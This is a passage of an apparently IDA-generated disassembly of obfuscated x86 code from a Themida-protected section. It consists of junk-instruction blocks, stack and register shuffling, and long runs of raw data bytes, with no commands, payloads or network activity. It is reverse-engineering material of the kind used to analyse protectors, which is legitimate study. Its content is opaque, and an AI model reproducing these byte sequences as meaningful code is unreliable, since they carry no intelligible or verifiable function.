		dd 0FFFF7E55h, 523C77FFh, 0FF7B87E9h, 0CDE946FFh, 81FFFFB6h
		dd 4C1h, 4E98300h, 0E9240C87h, 0FFFFFCFFh
; ---------------------------------------------------------------------------

loc_4FD14C:				; CODE XREF: Themida_:004F3F81j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_4F5444
; ---------------------------------------------------------------------------
		dd 3779F581h, 0EE29B877h, 81CE015Dh, 950806C6h,	855E90Eh
		dd 0E9010000h, 0A35C181h, 0E98163B8h, 7F5031B0h, 0FFC06AE9h
		dd 0D831ADFFh, 378368h,	0D036E900h, 9F68FFFFh, 89000048h
		dd 0E2892414h, 473A68h,	242C8900h, 396E9h, 7BD52D00h, 57057A1Dh
		dd 9A1ADD6h, 0E95558C6h, 0DEFh
; ---------------------------------------------------------------------------

loc_4FD1C0:				; CODE XREF: Themida_:004F6B28j
		add	esp, 4
		push	ebx
		push	eax
		push	34EB1475h
		pop	eax
		sub	eax, 34EB1476h
		mov	ebx, eax
		jmp	loc_4F7548
; ---------------------------------------------------------------------------
		db 88h
		dd 62E959EEh, 66FFFF96h, 0B0240489h, 66C12882h,	59C82858h
		dd 4EC8153h, 89000000h,	7B42404h, 0E7307BB7h, 0E4686658h
		dd 1C896615h, 94CBE924h, 0E388FFFFh, 0FF62A6E9h, 0DBD55FFh
		dd 8144B973h, 6947ABEDh, 5DEB3109h, 1BF4BD55h, 0DDF7020Fh
		dd 85E58145h, 8103CC2Ch, 72CFBEF5h, 0E9EB31EBh,	0FFFFCD7Ah
		dd 0E92434FFh, 1FC5h, 36B1EA81h, 0EA813956h, 19351D46h
		dd 86BF5750h, 0B8392A3Ah, 3E5358D1h, 6E9F829h, 8F000008h
		dd 248B2404h, 0C896624h, 0B60F6624h, 9C5166C8h,	0FF900CE9h
		dd 1BFFFh, 0E9E90000h, 31FFFFA2h, 1C33241Ch, 0C4815C24h
		dd 4, 242C8157h, 76156A4Ah, 0FFBDACE9h,	0E9E389FFh, 0FFFFDDC7h
; ---------------------------------------------------------------------------

loc_4FD2A4:				; CODE XREF: Themida_:004FCEC2j
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	58A2h
		mov	[esp], ebp
		jmp	loc_4FE8F1
; ---------------------------------------------------------------------------

loc_4FD2BD:				; CODE XREF: Themida_:004F3E0Bj
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 0Bh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		jmp	loc_4FAA69
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF5BFCh, 4EC81h, 0C890000h, 5297B124h, 78E99AB6h
		dd 1000018h, 33E95BDAh,	58FFFFF1h, 5905492Dh, 5E82951h
		dd 51590549h, 2404815Dh, 3AD54936h, 7940B951h, 6C81166Dh
		dd 205F0424h, 4C016AB8h, 44810424h, 205F0424h, 1596AB8h
		dd 0BD552404h, 166D7940h, 0FF6D9BE9h, 2434FFFFh, 0FF7780E9h
		dd 1C77FFFFh, 1058669Dh, 0E99C2404h, 0FFFF5B8Ch, 4E92C381h
		dd 0C3811895h, 9720F711h, 0FFA566E9h, 3C335BFFh, 243C3124h
		dd 0FFD372E9h, 24348BFFh, 4EC81h, 3C890000h, 35326824h
		dd 24890000h, 4BF5724h,	1000000h, 5F04247Ch, 0B1BFE95Fh
		dd 5968FFFFh, 8900007Dh, 0FDE9241Ch, 56FFFFB1h,	8BE9E689h
		dd 81FFFFBAh, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_4FAA8D
; ---------------------------------------------------------------------------
		db 53h,	50h, 0B4h
		dd 0E9E7884Ch, 0FFFF7042h, 7A2889BBh, 5BDD296Ch, 5602EDC1h
		dd 0CF0E79BEh, 6FF68110h, 293ACD79h, 0BB535EF5h, 4458716Bh
		dd 3096BD55h, 85E936FCh, 49FFFF85h, 0FFB87BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FD415:				; CODE XREF: Themida_:004F4234j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------

loc_4FD427:				; CODE XREF: Themida_:004F8F40j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_4F57E5
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0E924248Bh, 0FFFF6A80h, 8704C783h, 535C243Ch, 0FFC769E9h
		dd 0C8B66FFh, 4EC8124h,	89000000h, 0E189240Ch, 4C181h
		dd 0EC830000h, 242C8904h, 2BB53h, 0DD890000h, 79C1815Bh
		dd 8132313Bh, 12587CC1h, 81E90122h, 12587CE9h, 0B8505622h
		dd 32313B79h, 3DE9C689h, 0D1FFFF87h, 0DBF74BE3h, 0AD56F381h
		dd 0D8313E75h, 0E9241C8Bh, 1347h, 0E98C0458h, 0FFFFC82Ch
		dd 0C2E9535Bh, 0B9FFFFC4h, 2DFD43D4h, 2EAFC181h, 0C181056Ah
		dd 0CC988D81h, 5059CD01h, 0FFAD26E9h, 242C89FFh, 0FF9F65E9h
		dd 4EC81FFh, 89000000h,	7368241Ch, 89000070h, 4812424h
		dd 424h, 0C3CDE900h, 0C483FFFFh, 0E2895204h, 26EABB53h
		dd 0E3C101CAh, 0A1F38102h, 0F70F6D0Fh, 75F381D3h, 0C17F8206h
		dd 0F38107EBh, 11070DFh, 0E95BDA01h, 0FFFFA986h, 7DEFBE56h
		dd 53E95629h, 81FFFFF4h, 4C4h, 242C3300h, 33242C31h, 7FE9242Ch
		dd 52000008h, 4BAh, 5AD58900h, 7723C281h, 0EA0161C7h, 16706853h
		dd 815B51EDh, 2A6153F3h, 8BDA2930h, 0C483241Ch,	0E9575D04h
		dd 0FFFF98A6h
; ---------------------------------------------------------------------------

loc_4FD570:				; CODE XREF: Themida_:004F90E9j
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, 4D6E6F83h
		shl	ebp, 1
		push	esi
		mov	esi, 2D540D8Fh
		add	ebp, esi
		jmp	loc_4F3D2D
; ---------------------------------------------------------------------------
		db 30h,	14h, 24h
		dd 0FFA09CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FD595:				; CODE XREF: Themida_:004FE558j
		sub	ebx, 1DB4068Ah
		add	ebx, 75730AE8h
		jmp	loc_4F62D9
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815A24h, 4, 8B24048Fh, 0D3662424h, 0E99C240Ch, 0FFFF61A2h
; ---------------------------------------------------------------------------

loc_4FD5C0:				; CODE XREF: Themida_:004FC4D5j
		pop	edx
		jmp	loc_4F68F9
; ---------------------------------------------------------------------------

loc_4FD5C6:				; CODE XREF: Themida_:004FB7AFj
		mov	esp, [esp]
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------

loc_4FD5CE:				; CODE XREF: Themida_:004F4A69j
		push	edx
		mov	edx, 52E4212h
		shr	edx, 3
		dec	edx
		xor	edx, 164C7417h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_4F7F8E
; ---------------------------------------------------------------------------

loc_4FD5EC:				; CODE XREF: Themida_:004F44EAj
		inc	ebp
		not	ebp
		jmp	loc_4F88EE
; ---------------------------------------------------------------------------
		dd 42Dh, 24048700h, 0E350E95Ch,	0F1BEFFFFh, 0C10E7F7Ah
		dd 0CE8107EEh, 622C2DEDh, 6353BF57h, 0EF814A71h, 555D748Ah
		dd 2414F757h, 7080E95Fh, 0C481FFFFh, 4,	18E9D828h, 31FFFFE7h
		dd 2C33242Ch, 0F1875C24h, 0D9E9CF87h, 83000006h, 0F6E904C4h
		dd 2D000011h, 7A32225Dh, 31D868h, 242C8900h, 1A0D75BDh
		dd 0CFE94527h, 51FFFFB0h, 42474FFh, 0E9240C8Bh,	0FFFFA7C2h
		dd 0E9241433h, 0FFFF6597h
; ---------------------------------------------------------------------------

loc_4FD678:				; CODE XREF: Themida_:004F925Ej
		mov	ebx, edi
		jmp	loc_4FE557
; ---------------------------------------------------------------------------

loc_4FD67F:				; CODE XREF: Themida_:004F7126j
		add	esp, 4
		shr	ecx, 7
		push	ecx
		mov	ecx, 1Ch
		push	1D05h
		mov	[esp], ebx
		mov	ebx, 2770679h
		dec	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	4930DD2h
		pop	ebp
		jmp	loc_4FA770
; ---------------------------------------------------------------------------
		dd 5255E789h, 6667A5BAh, 4AEAD112h, 0C281D2F7h,	7C5E09D0h
		dd 0D5FAEA81h, 0D589732Ah, 8324148Bh, 0EF0104C4h, 0E9242C8Bh
		dd 0FFFFE86Fh, 4C481h, 0B4500000h, 7ECC0CFh, 0C0A8F480h
		dd 0EC8007E4h, 58E200A8h, 0E05E9h, 0C8B6600h, 4EC8124h
		dd 89000000h, 8B542404h, 3D682404h, 8900005Dh, 58542404h
		dd 405h, 63EFE900h, 3C8BFFFFh, 4C48124h, 0C1000000h, 0C28105E2h
		dd 2ADF020Dh, 0FFAAF4E9h, 0E1C15BFFh, 47BB5302h, 812E1F3Dh
		dd 3324E9EBh, 0C340E963h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FD74A:				; CODE XREF: Themida_:004F3899j
		mov	esi, esp
		jmp	loc_4F5A98
; ---------------------------------------------------------------------------
		db 89h,	0CAh, 59h
		dd 555AD529h, 42474FFh,	24048F5Dh, 1489665Ch, 9C506624h
		dd 0FF5787E9h, 4BBFFh, 0D8290000h, 0EDB5E95Bh, 515EFFFFh
		dd 72B6BA52h, 3E9006Bh
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4FD787:				; CODE XREF: Themida_:004F59C8j
		sub	ebx, 368121BEh
		pop	ebp
		jmp	loc_4F5F67
; ---------------------------------------------------------------------------
		db 89h
		dd 0D1E95BD9h, 68FFFFA7h, 22FC62E2h, 3CE9525Fh,	51FFFF97h
		dd 592414F7h, 33BBA52h,	0CA810DC2h, 15F97843h, 0FF8089E9h
		dd 4C383FFh, 5C241C87h,	0FFFCCAE9h, 32FF64FFh, 0FF5723E9h
		dd 0C5815EFFh, 979F6B34h, 2C8BE829h, 0B926E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FD7E2:				; CODE XREF: Themida_:004F3792j
		push	ebx
		mov	ebx, edi
		jmp	loc_4F43F9
; ---------------------------------------------------------------------------
		dw 5E9h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FD7EF:				; CODE XREF: Themida_:004F7D79j
		pop	esi
		jmp	loc_4FC62C
; ---------------------------------------------------------------------------

loc_4FD7F5:				; CODE XREF: Themida_:004F3F91j
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 56976CFAh
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	22A4h
		mov	[esp], edi
		jmp	loc_4FB51D
; ---------------------------------------------------------------------------
		dd 24048F5Ch, 0FF7CEEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FD829:				; CODE XREF: Themida_:004F906Cj
		pop	esp
		jmp	loc_4F5111
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0B4505166h, 3093B5D2h, 0AB36E9E5h, 0C301FFFFh, 0EA5EB81h
		dd 0BE564530h, 72945780h, 0FFC57DE9h, 4EC81FFh,	89000000h
		dd 86682414h, 8B49BB7Dh, 0C4812414h, 4,	0FFAB2CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FD86D:				; CODE XREF: Themida_:004F65B4j
		add	esp, 4
		or	eax, eax
		jz	loc_4F8E2D
		push	dword ptr [edi+28h]
		push	edi
		mov	edi, 30054A6h
		inc	edi
		add	edi, 25F82BD5h
		not	edi
		and	edi, 498C4E08h
		inc	edi
		xor	edi, 179322FBh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_4F58FB
; ---------------------------------------------------------------------------
		dd 72DF801h, 5F59BC6Eh,	0FFA6E1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FD8B9:				; CODE XREF: Themida_:004F5B8Fj
		xor	esi, 6736C137h
		xor	ecx, esi
		jmp	loc_4F5750
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0BCEB8104h, 290F4B50h, 0BCC381C3h, 810F4B50h, 0C55D06C3h
		dd 0E930FF51h, 0FFFF5610h, 83241C8Bh, 5E904C4h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FD8EF:				; CODE XREF: Themida_:004F9389j
		pop	ecx
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	1538h
		mov	[esp], eax
		jmp	loc_4F701A
; ---------------------------------------------------------------------------
aKai		db 'K',0
		db 0DDh
		dd 59EC885Bh, 0C0FFEC80h, 0CCFE05E4h, 0FF953EE9h, 0C7815DFFh
		dd 18553A1Eh, 0B850EF01h, 733A7D2Ch, 0FF9AE1E9h, 93D0F7FFh
		dd 8104E3C1h, 1E46CEEBh, 8BDA29F4h, 8953241Ch, 4C381E3h
		dd 83000000h, 1C8704C3h, 8B54E924h, 0FF5CFFFFh,	0E99C240Ch
		dd 0FFFFE2A4h, 0E904EC83h, 0FFFFEB2Bh, 0A900E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FD96E:				; CODE XREF: Themida_:004FD9DDj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_4FE3DA
; ---------------------------------------------------------------------------

loc_4FD97D:				; CODE XREF: Themida_:004F76F9j
		mov	cl, al
		mov	bl, cl
		pop	ecx
		pop	eax
		sub	bl, 42h
		push	ecx
		push	ebx
		jmp	loc_4F8DB5
; ---------------------------------------------------------------------------

loc_4FD98D:				; CODE XREF: Themida_:004F9BF7j
		push	esi
		mov	esi, 189B164Ah
		xor	esi, 1C5F45A4h
		add	esi, 325B7019h
		dec	esi
		jmp	loc_4F616B
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 1000000h, 0EC8158C1h, 4, 0E9243489h,	0FFFFF9FBh
; ---------------------------------------------------------------------------

loc_4FD9BC:				; CODE XREF: Themida_:004F4752j
		mov	[esp], ebx
		push	edi
		mov	edi, 60ED3EA2h
		push	edi
		jmp	loc_4F5273
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8951240Ch, 0BF7DE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FD9D6:				; CODE XREF: Themida_:004F34F7j
		pop	eax
		jmp	loc_4F3B62
; ---------------------------------------------------------------------------

loc_4FD9DC:				; CODE XREF: Themida_:004FACAAj
		pop	eax
		jmp	loc_4FD96E
; ---------------------------------------------------------------------------
		dw 0F100h
		dd 0E9525A66h, 0FFFF6A2Dh, 24048B66h, 53E06851h, 24890000h
		dd 4BE5624h, 1000000h, 8B042474h, 0C4832434h, 2434FF04h
		dd 0FF9760E9h, 241489FFh, 4EC81h, 21E90000h, 89FFFF58h
		dd 9CE95AD0h, 1FFFFC1h,	0AEE95AD3h, 0FFFFFFC5h,	3C8B2434h
		dd 4C48124h, 51000000h,	0B6E9E189h, 81FFFFCFh, 4ECh, 24048900h
		dd 167668h, 82D1E900h, 0EF81FFFFh, 3A454DF2h, 0C781D701h
		dd 3A454DF2h, 0FF8DF4E9h, 0C2295FFFh, 5E7BE958h, 0D530FFFFh
		dd 59E8285Ah, 0FF70C1E9h, 0E9E504FFh, 0FFFF71BCh, 5A5DEE89h
		dd 4EEC146h, 0D825EE81h, 0EB819FB3h, 3DA90007h,	0C381F301h
		dd 3DA90007h, 0FFF073E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FDAA5:				; CODE XREF: Themida_:004FB02Cj
		mov	esi, 851518Bh
		push	edi
		mov	edi, 2C002EE8h
		add	edi, 725A1627h
		sub	edi, 12AC5E08h
		jmp	loc_4F7933
; ---------------------------------------------------------------------------

loc_4FDAC1:				; CODE XREF: Themida_:004F9545j
		add	ecx, edi
		add	[ecx], eax
		jmp	loc_4FECB3
; ---------------------------------------------------------------------------
		dw 9968h
		dd 5E4EF426h, 1B86B850h, 0D0F7043Bh, 0FFF6D0E9h, 77EB80FFh
		dd 71B05066h, 5866C328h, 4EC8153h, 89000000h, 28BF243Ch
		dd 68000000h, 7E7Eh, 8B243C89h,	0C481241Ch, 4, 0E9243C8Bh
		dd 0FFFF8BA5h, 8102EBC1h, 0D45F83C3h, 5BDD8943h, 35ED814Dh
		dd 8119723Ch, 0E93ECCF5h, 0B8BD5536h, 29453572h, 0C1815DE9h
		dd 7F5031B0h, 0A35E981h, 33E963B8h, 51FFFFF6h, 42474FFh
		dd 517E9h, 26800h, 15D0000h, 14335DEAh,	0FDBE924h, 0C7010000h
		dd 8324048Bh, 0EC8104C4h, 4, 50241C89h,	0DF6BF1B8h, 68C5E92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FDB7A:				; CODE XREF: Themida_:004FBE48j
		add	ebx, 6FFF4430h
		push	eax
		mov	eax, 62484DCDh
		dec	eax
		xor	eax, 66A90DB9h
		sub	ebx, eax
		pop	eax
		push	dword ptr [ebx]
		jmp	loc_4FC0C9
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 2C5796h, 570BC381h, 0C3811B4Bh, 747737AEh, 0C104EBC1h
		dd 0F38108EBh, 2CA9CC66h, 3DE9DF01h, 81FFFF65h,	1C5h, 3EDC100h
		dd 7DB8504Dh, 312F90F0h, 0EA0158C5h, 24348B5Dh,	52E08950h
		dd 4BAh, 5AD00100h, 8704C083h, 0E95C2404h, 0FFFFA77Bh
		dd 239E952h, 0CD810000h, 24BA659Eh, 63BFF581h, 0D2E944F7h
		dd 58FFFF77h, 4EC81h, 4890000h,	5585424h, 4, 5304C083h
		dd 0C381E389h, 4, 4EB81h, 3AE90000h, 81FFFFC7h,	4E9h, 240C8700h
		dd 243C895Ch, 0FF7019E9h, 0AAA05FFh, 882D2101h,	8B4A5B53h
		dd 0C481240Ch, 4, 0FFE827E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FDC55:				; CODE XREF: Themida_:004FE781j
		push	eax
		mov	eax, 4FDD5D57h
		mov	esi, eax
		pop	eax
		mov	ebx, esi
		pop	esi
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jnz	loc_4FA510
		push	eax
		mov	eax, 60FD2BF2h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3EAE1779h
		shl	ecx, 6
		or	ecx, 2D7970D4h
		jmp	loc_4F9DDB
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 57E90000h, 68000002h, 23B8h,	0FF6E78E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FDCA9:				; CODE XREF: Themida_:004F95AEj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFB890h, 68241489h, 14CDh, 0BE243489h, 1000000h
		dd 348BF289h, 4C48324h,	0FFAE5DE9h, 0ACB951FFh,	21500424h
		dd 0C58159CDh, 52F20F54h, 46D6ED81h, 0F5810675h, 4C7CE89Ah
		dd 535DE801h, 0CCE95552h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FDD03:				; CODE XREF: Themida_:004F5F7Ej
		add	ebp, 0FE2F089Fh
		jmp	loc_4F95AB
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0E9510000h, 0FFFFD95Eh, 0EC815797h, 4, 0E9241489h
		dd 0FFFFDB3Eh
; ---------------------------------------------------------------------------

loc_4FDD2C:				; CODE XREF: Themida_:004F54E3j
		add	esp, 4
		pop	ebp
		xchg	edx, ebp
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		xchg	edx, ebp
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_4FDFFD
; ---------------------------------------------------------------------------
		dw 0BCB2h
		dd 5A66D528h, 80FFED80h, 0FE997C5h, 28FFFF6Dh, 0AFFEE9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FDD66:				; CODE XREF: Themida_:004F74CBj
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_4F8F27
; ---------------------------------------------------------------------------
		db 59h,	51h, 68h
		dd 14A4h, 0E9241C89h, 149Bh, 317EB951h,	0CD894C4Ah, 0C5814D59h
		dd 0B3B5CE87h, 2C8BEF01h, 4C48124h, 57000000h, 0FFED28E9h
		dd 3274BBFFh, 0F3814083h, 40833270h, 815BD989h,	243895EFh
		dd 81CF014Bh, 243895C7h, 0B880E94Bh, 248BFFFFh,	1511E924h
		dd 0E1890000h, 4C181h, 0BA520000h, 4, 835AD101h, 0C8904ECh
		dd 2474FF24h, 240C8B04h, 4C481h, 48F0000h, 54535C24h, 81241C8Bh
		dd 4C4h, 8FB9E900h, 2159FFFFh, 6443E9FEh, 0E789FFFFh, 4C781h
		dd 0C7810000h, 4, 0FFBE1CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FDE1D:				; CODE XREF: Themida_:004FA2DFj
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_4F76FE
; ---------------------------------------------------------------------------
		db 0BAh
		dd 19981DFEh, 0E2C1E2D1h, 4DE95204h, 89FFFF56h,	6EBD242Ch
		dd 0E9414620h, 0FFFFC94Fh, 6856515Dh, 11266F27h, 5024348Bh
		dd 0BE56E089h, 73F96FF3h, 0C102EEC1h, 0CE8105EEh, 6A0417B4h
		dd 0E6C1D6F7h, 4C68105h, 15CFF00h, 0C0835EF0h, 24048704h
		dd 0E9E6D15Ch, 0FFFF67E1h, 6BFC681h, 0EE813AD2h, 3CB6EAF2h
		dd 0E3E9F701h, 21FFFFF8h, 0E9C15FF9h, 4E94908h,	0F7FFFFF9h
		dd 81DE87D3h, 0CC6CDDE6h, 81D6F779h, 0D35AA2EEh, 0F27BE9AEh
		dd 0E95CFFFFh, 0FFFF75D0h
; ---------------------------------------------------------------------------

loc_4FDEC0:				; CODE XREF: Themida_:004F39ACj
		mov	[esp], esi
		mov	eax, [esp]
		jmp	loc_4FB65A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9522414h, 0FFFF8CA3h
; ---------------------------------------------------------------------------

loc_4FDED4:				; CODE XREF: Themida_:004FC5F4j
		push	674A2C5Fh
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 26261907h
		sub	eax, 0C3403B6h
		xor	eax, 353831A6h
		jmp	loc_4FE49F
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 243C8704h, 2434895Ch, 757773BEh, 1EE8126h, 0F7000000h
		dd 0F6814ED6h, 0B04EEA17h, 8108E6C1h, 0FB5ADC6h, 6F16E96Ch
		dd 215CFFFFh, 240C8BC8h, 0FF8D01E9h, 4C481FFh, 89000000h
		dd 0D43E9EAh, 0B5510000h, 59EB8839h, 0E904EC83h, 11DEh
		dd 42474FFh, 0FF5E2FE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_4FE3EE
; ---------------------------------------------------------------------------
		db 56h
		dd 63FBE66h, 81664666h,	6625EFF6h, 19CFEE81h, 3AD668h
		dd 242C8900h, 1986BD66h, 2FF58166h, 66456660h, 5F54E581h
		dd 9CED8166h, 0EE296637h, 0B866505Dh, 35662F4Ch, 0CAE91922h
		dd 31FFFF92h, 1C33241Ch, 89665C24h, 39E92404h, 0BDFFFFC2h
		dd 7326391Bh, 0DD49E945h, 0E951FFFFh, 118Ch, 6624248Bh
		dd 0F7E9E9F7h, 89FFFFEBh, 0E589242Ch, 4C581h, 0BF570000h
		dd 22B06724h, 8953D7F7h, 0D60E9E3h, 814B0000h, 45FDDCF3h
		dd 0E9D931B7h, 0FFFF8264h, 240C8B66h, 13EFE9h
		db 0
; ---------------------------------------------------------------------------

loc_4FDFFD:				; CODE XREF: Themida_:004FDD49j
		sub	esp, 4
		mov	[esp], edx
		push	0F9h
		jmp	loc_4FCCE0
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 0FFFF6436h
; ---------------------------------------------------------------------------

loc_4FE018:				; CODE XREF: Themida_:004F93FBj
		mov	[esp], eax
		jmp	loc_4FB2FA
; ---------------------------------------------------------------------------
		dd 1637E981h, 0CE01172Eh, 4BD5559h, 0E9000000h,	0FFFFEE93h
		dd 7CE9D888h, 5AFFFFA2h, 8026C380h, 0F380E4CBh,	5BDA88EEh
		dd 80A2E280h, 0CAFEC5E2h, 8085EA80h, 2DE980C2h,	0F6FFFFEBh
		dd 0E99C241Ch, 0FFFF4E90h, 83240C8Bh, 48F04C4h,	0FEB0E924h
		dd 840FFFFFh, 0FFFF6F95h, 24FE952h, 0C4810000h,	4, 5104C183h
		dd 0FF6BAAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FE08D:				; CODE XREF: Themida_:004F8935j
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_4F6F3B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 241C8904h, 241C8B54h, 4C481h, 0BD550000h
		dd 30630B9Bh, 1ED81h, 0BE560000h, 0CF9CF46Ah, 0FF7E02E9h
		dd 0D84FBBFFh, 0F33196EEh, 5024348Bh, 405E089h,	5000000h
		dd 4, 5C240487h, 8B1C5F21h, 0C481241Ch,	4, 0FF4E03E9h
		dd 51F068FFh, 2C890000h, 0D2BE5624h, 8173A315h,	196181CEh
		dd 0D7F6810Bh, 812E4D71h, 36ADE4EEh, 5EF589F1h,	0EDC1DDF7h
		dd 79F58108h, 810ADE53h, 36B688EDh, 5DE831F9h, 592FEE81h
		dd 0C6012482h, 0FFB516E9h, 58C188FFh, 0DEF6EDB6h, 0F6BFE680h
		dd 39C680D6h, 288AEE80h, 8AC680CEh, 0FFBEA1E9h,	0E9D5F6FFh
		dd 0FFFF7313h, 77346851h, 0C8B1F88h, 4C48324h, 0FFA6B2E9h
		dd 0E9DAF7FFh, 0FFFFA71Dh, 0AC685052h, 583B046Eh, 0B22BD82Dh
		dd 58C289FDh, 0FFCE6EE9h, 1C895CFFh, 0F0E95124h, 81FFFF7Ch
		dd 0BE4F2AEBh, 9DC38174h, 680DE520h, 362Ah, 0B9240C89h
		dd 0A543ED7h, 5B05E952h, 0A068FFFFh, 8900001Bh,	4812424h
		dd 424h, 2434FF00h, 44E9h, 0FF1EB900h, 0CB315CEEh, 5BDD0159h
		dd 0FFA0D4E9h, 20ADBAFFh, 0A9BE5BEFh, 315BEF20h, 0A71EE9D6h
		dd 0FE87FFFFh, 0E6C1D6F7h, 8E6C108h, 9005E950h,	2ABFFFFFh
		dd 4F03A126h, 6FE9D7F7h, 58FFFFC8h, 0FF795DE9h,	0C4815FFFh
		dd 4, 0E4A7E952h, 30ACFFFFh, 4EC83D8h, 50241489h, 70B617B0h
		dd 5158C628h, 0E9E91BB1h, 55FFFF60h, 0A56CFDBDh, 0D5874D24h
		dd 81D58742h, 0A4FF2F5h, 0CEED8103h, 4D5B7B21h,	0FC69ED81h
		dd 0ED81860Ch, 462704D5h, 0E95DEF89h, 16Dh, 8043CF80h
		dd 0F800C7F7h, 0FFA787E9h, 2EA81FFh, 52000000h,	42474FFh
		dd 0FFFC52E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FE279:				; CODE XREF: Themida_:004F9BB1j
		add	eax, 21F67924h
		add	eax, ecx
		jmp	loc_4FC80A
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF4C67E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FE28D:				; CODE XREF: Themida_:004F8B08j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		pop	eax
		jmp	loc_4F520E
; ---------------------------------------------------------------------------

loc_4FE2A4:				; CODE XREF: Themida_:004F92E3j
		xor	ecx, 40526226h
		jmp	loc_4F3B1B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B662424h, 10E92404h, 25FFFF6Ch, 153F56B8h, 520C2Dh
		dd 58C30100h, 0FF5A6CE9h, 44B850FFh, 0BA30D918h, 30D91860h
		dd 0E958C229h, 0FFFF5EF3h, 62F7C981h, 60E90B46h, 87FFFFACh
		dd 248B241Ch, 40524h, 0BA520000h, 2, 148BD001h,	4C48124h
		dd 50000000h, 42474FFh,	0E54EE958h, 0ED81FFFFh,	59B84D74h
		dd 0C583D5F7h, 0C79EE901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FE322:				; CODE XREF: Themida_:004FB131j
		inc	ecx
		sub	ecx, 44B46E35h
		or	ecx, 4F921225h
		or	ecx, 308B5100h
		add	ecx, 0D75741BCh
		add	edi, ecx
		pop	ecx
		push	157Fh
		jmp	loc_4F722B
; ---------------------------------------------------------------------------
		dd 6B9D68h, 7685E900h, 0E9C1FFFFh, 0DA4AE90Ah, 8147FFFFh
		dd 0F59873C7h, 5FFE01D5h, 4C681h, 0CEE90000h, 89FFFFE2h
